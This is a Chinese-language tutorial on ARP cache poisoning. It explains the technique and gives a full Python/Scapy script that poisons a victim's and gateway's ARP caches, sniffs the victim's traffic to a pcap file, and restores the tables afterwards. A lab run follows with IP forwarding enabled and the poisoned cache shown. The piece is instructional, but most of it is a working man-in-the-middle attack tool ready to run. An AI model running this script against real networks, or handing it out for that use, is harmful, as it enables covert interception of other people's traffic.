一、ARP投毒技术
ARP投毒的逻辑:欺骗目标设备,使其相信我们是它的网关;然后欺骗网关,告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备,都维护着一段ARP缓存,里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击,我们会往这些ARP缓存中投毒,即在缓存中插入我们编造的记录。另外,ARP投毒只对IPv4有效,对IPv6是无效的。
二、代码实例
代码中已有明确注释,因此不再做单独的逻辑解释
#!/usr/bin/python
#-*- coding:utf8 -*-
from scapy.all import *
from multiprocessing import Process
import os
import sys
import time
# 获取任意设备的MAC地址
def get_mac(targetip):
# 传入目标IP地址并创建一个查询数据包
# Ether函数将这个数据包全网广播
# ARP函数构造一个MAC地址查询请求,询问每个节点其它地址是否为这个目标IP地址
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op='who-has',pdst=targetip)
# srp函数发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac
resp,_ = srp(packet, timeout=2, retry=10,verbose=False)
for _,r in resp:
return r[Ether].src
return None
class Arper:
# 用受害者IP地址、网关IP地址、网卡来初始化这个类
def __init__(self,victim,gateway,interface='eth0'):
self.victim = victim
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac = get_mac(gateway)
self.interface = interface
conf.iface = interface
conf.verb = 0
# 填充interface、gateway、gatewaymac、victim、victimmac等成员变量
print(f'Initialized {interface}:')
print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
print(f'Victim ({victim}) is at {self.victimmac}.')
print('_'*30)
# run函数为攻击入口点
def run(self):
# 进程一:毒害ARP缓存
self.poison_thread = Process(target=self.poison)
self.poison_thread.start()
# 进程二:嗅探网络流量、实时监控攻击过程
self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()
# posion函数用于投毒
def poison(self):
# 构建毒害受害者的恶意ARP数据包
poison_victim = ARP()
poison_victim.op = 2
poison_victim.psrc = self.gateway
poison_victim.pdst = victim
poison_victim.hwdst = self.victimmac
print(f'ip src:{poison_victim.psrc}')
print(f'ip dst:{poison_victim.pdst}')
print(f'mac dst: {poison_victim.hwdst}')
print(f'mac src: {poison_victim.hwsrc}')
print(poison_victim.summary())
print('-'*30)
# 构建毒害受害者的恶意ARP数据包
# 毒害网关时会发送受害者的IP地址和攻击者的MAC地址
# 受害者受害时,会发送网关的IP地址和攻击者的MAC地址
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = self.victim
poison_gateway.pdst = self.gateway
poison_gateway.hwdst = self.gatewaymac
print(f'ip src:{poison_gateway.psrc}')
print(f'ip dst:{poison_gateway.pdst}')
print(f'mac dst: {poison_gateway.hwdst}')
print(f'mac src: {poison_gateway.hwsrc}')
print(poison_gateway.summary())
print('-' * 30)
print(f"[*] Beginning the ARP poison. [CTRL+C to stop]")
# 不停将恶意数据包发往它们的目的地,确保攻击过程中ARP缓存一直处于中毒状态
while True:
sys.stdout.write('.')
sys.stdout.flush()
try:
# 开始发送ARP欺骗包(投毒)
send(poison_victim)
send(poison_gateway)
# 按下CTRL+C停止,此时将网络状态恢复为原样,将正确信息发送给受害者和网关
except KeyboardInterrupt:
self.restore()
sys.exit()
else:
# 停2秒
time.sleep(2)
# sniff函数用于嗅探
def sniff(self,count=100):
# 开始嗅探前休眠5秒,给投毒线程留下足够的启动时间
time.sleep(5)
print(f'Sinffing {count} packets')
# 嗅探带有受害者IP的数据包
bpf_filter = 'ip host %s' % victim
# 嗅探指定的个数,默认100个
packets = sniff(count=count,filter=bpf_filter,iface=self.interface)
# 将嗅探的数据包存储为arper.pcap的文件
wrpcap('arper.pcap',packets)
print('Got the packets')
# 将ARP表中的数据还原为原来的值,然后终止投毒线程
self.restore()
self.poison_thread.terminate()
print('Finished.')
# restore函数用于恢复网络设置
def restore(self):
# 以下代码调用send函数的方式稍有不同
print ("Restoring ARP tables...")
# 把网关原本的IP地址和MAC地址发给受害者
send(ARP(op=2, psrc=self.gateway, pdst=self.victim, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), count=5)
# 把受害者原本的IP地址和MAC地址发给网关
send(ARP(op=2, psrc=self.victim, pdst=self.gateway, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.victimmac), count=5)
if __name__ == '__main__':
(victim,gateway,interface) = (sys.argv[1],sys.argv[2],sys.argv[3])
myarp = Arper(victim,gateway,interface)
myarp.run()
三、运行测试
首先我们看看目标设备上的ARP缓存,用来在完成投毒之后做对比。
攻击目标信息:
IP:192.168.153.134
MAC:00:0c:29:fc:a0:91
查看ARP缓存中的网络邻居地址。
攻击者信息:
IP:192.168.153.141
MAC:00:0c:29:7f:05:7d
攻击目标网关:
IP:192.168.153.2
MAC:00:50:56:ee:4c:b1
首先对本地主机进行测试,开启对网关和目标设备的流量转发功能(192.168.153.141)。
echo 1 > /proc/sys/net/ipv4/ip_forward
之后运行脚本。
python arper.py 192.168.153.134 192.168.153.2 eth0
如下所示:
此时在目标及其上查看网关,可见目标机器的ARP缓存已经被投毒了,其中的网关(192.168.153.2)的MAC地址其实是攻击者的,同时也可以看到攻击者是192.168.153.141,因为它的MAC地址和网关的毒MAC地址是一样的。
攻击目标信息:
IP:192.168.153.134
网关:192.168.153.2
网关MAC:00:0c:29:7f:05:7d